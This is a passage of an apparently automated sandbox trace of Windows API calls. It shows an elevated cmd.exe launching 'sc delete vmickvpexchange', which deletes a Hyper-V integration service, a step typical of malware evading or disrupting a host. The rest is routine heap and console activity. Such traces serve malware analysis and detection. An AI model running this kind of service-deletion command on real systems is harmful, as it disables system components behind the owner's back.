0x4a0000 [0066.425] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x28) returned 0x4b4610 [0066.425] FindClose (in: hFindFile=0x4b5c00 | out: hFindFile=0x4b5c00) returned 1 [0066.425] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0066.425] GetLastError () returned 0x2 [0066.425] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b5c00 [0066.425] GetProcessHeap () returned 0x4a0000 [0066.425] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4610, Size=0x8) returned 0x4b98f0 [0066.425] FindClose (in: hFindFile=0x4b5c00 | out: hFindFile=0x4b5c00) returned 1 [0066.426] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0066.426] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0066.426] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.426] GetProcessHeap () returned 0x4a0000 [0066.426] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9c40 [0066.426] GetConsoleTitleW (in: lpConsoleTitle=0x4b9c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.426] GetProcessHeap () returned 0x4a0000 [0066.426] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9c40, Size=0xac) returned 0x4b9c40 [0066.426] GetProcessHeap () returned 0x4a0000 [0066.426] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9c40) returned 0xac [0066.426] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmickvpexchange") returned 1 [0066.427] GetProcessHeap () returned 0x4a0000 [0066.427] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9c40 | out: hHeap=0x4a0000) returned 1 [0066.427] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0066.427] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0066.427] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0066.427] GetProcessHeap () returned 0x4a0000 [0066.427] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0066.427] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0066.427] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0066.427] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0066.427] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.427] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.427] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.427] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0066.427] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0066.427] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0066.428] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0066.429] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.429] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.429] GetProcessHeap () returned 0x4a0000 [0066.429] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0066.429] GetProcessHeap () returned 0x4a0000 [0066.429] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b5c00 [0066.429] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmickvpexchange", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmickvpexchange", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete vmickvpexchange", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0x5d8, dwThreadId=0x484)) returned 1 [0066.435] CloseHandle (hObject=0x50) returned 1 [0066.435] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0066.435] GetProcessHeap () returned 0x4a0000 [0066.435] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc230 | out: hHeap=0x4a0000) returned 1 [0066.435] GetEnvironmentStringsW () returned 0x4bba10* [0066.436] GetProcessHeap () returned 0x4a0000 [0066.436] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xae8) returned 0x4bc500 [0066.436] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0066.436] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77a60000 [0066.436] GetProcAddress (hModule=0x77a60000, lpProcName="NtQueryInformationProcess") returned 0x77ab14a0 [0066.436] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0066.437] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0066.437] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0067.111] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0067.112] CloseHandle (hObject=0x54) returned 1 [0067.112] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0067.112] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0067.112] GetProcessHeap () returned 0x4a0000 [0067.112] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc500 | out: hHeap=0x4a0000) returned 1 [0067.112] GetEnvironmentStringsW () returned 0x4bba10* [0067.112] GetProcessHeap () returned 0x4a0000 [0067.113] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bfb10 [0067.113] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0067.113] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0067.113] GetProcessHeap () returned 0x4a0000 [0067.113] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bfb10 | out: hHeap=0x4a0000) returned 1 [0067.113] GetEnvironmentStringsW () returned 0x4bba10* [0067.113] GetProcessHeap () returned 0x4a0000 [0067.113] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bfb10 [0067.113] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0067.113] GetProcessHeap () returned 0x4a0000 [0067.113] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5c00 | out: hHeap=0x4a0000) returned 1 [0067.113] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0067.154] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0067.155] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.155] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0067.155] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.155] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0067.155] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.155] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0067.155] GetConsoleOutputCP () returned 0x1b5 [0067.156] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0067.156] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.156] GetProcessHeap () returned 0x4a0000 [0067.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0067.156] GetProcessHeap () returned 0x4a0000 [0067.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b00 | out: hHeap=0x4a0000) returned 1 [0067.156] GetProcessHeap () returned 0x4a0000 [0067.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1cd0 | out: hHeap=0x4a0000) returned 1 [0067.156] GetProcessHeap () returned 0x4a0000 [0067.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9a80 | out: hHeap=0x4a0000) returned 1 [0067.156] GetProcessHeap () returned 0x4a0000 [0067.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0067.156] GetProcessHeap () returned 0x4a0000 [0067.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0067.156] GetProcessHeap () returned 0x4a0000 [0067.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b98a0 | out: hHeap=0x4a0000) returned 1 [0067.156] GetProcessHeap () returned 0x4a0000 [0067.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b8900 | out: hHeap=0x4a0000) returned 1 [0067.156] GetProcessHeap () returned 0x4a0000 [0067.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0067.157] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0067.157] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.157] GetFileType (hFile=0x120) returned 0x3 [0067.157] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.157] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0067.157] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0067.157] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0067.157] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0067.157] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0067.157] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0067.157] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.157] GetFileType (hFile=0x120) returned 0x3 [0067.157] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.157] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0067.157] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0067.158] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.158] GetFileType (hFile=0xb8) returned 0x3 [0067.158] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.158] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.158] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmickvpexchange\n") returned 1 [0067.158] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.158] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.158] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete vmickvpexchange\n") returned 1 [0067.158] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.158] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.158] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete vmickvpexchange\n") returned 1 [0067.158] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.158] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.158] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete vmickvpexchange\n") returned 1 [0067.158] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.158] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.159] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.159] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete vmickvpexchange\n") returned 1 [0067.159] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.159] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.159] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.159] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete vmickvpexchange\n") returned 1 [0067.159] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.159] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.159] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.159] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete vmickvpexchange\n") returned 1 [0067.159] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.159] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.159] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.159] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te vmickvpexchange\n") returned 1 [0067.159] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.159] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.159] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.159] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e vmickvpexchange\n") returned 1 [0067.159] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.159] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.160] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" vmickvpexchange\n") returned 1 [0067.160] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.160] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.160] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="vmickvpexchange\n") returned 1 [0067.160] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.160] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.160] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="mickvpexchange\n") returned 1 [0067.160] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.160] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.160] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="ickvpexchange\n") returned 1 [0067.160] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.160] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.160] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="ckvpexchange\n") returned 1 [0067.160] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.160] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.161] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="gvpexchange\n") returned 1 [0067.161] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.161] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.161] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, 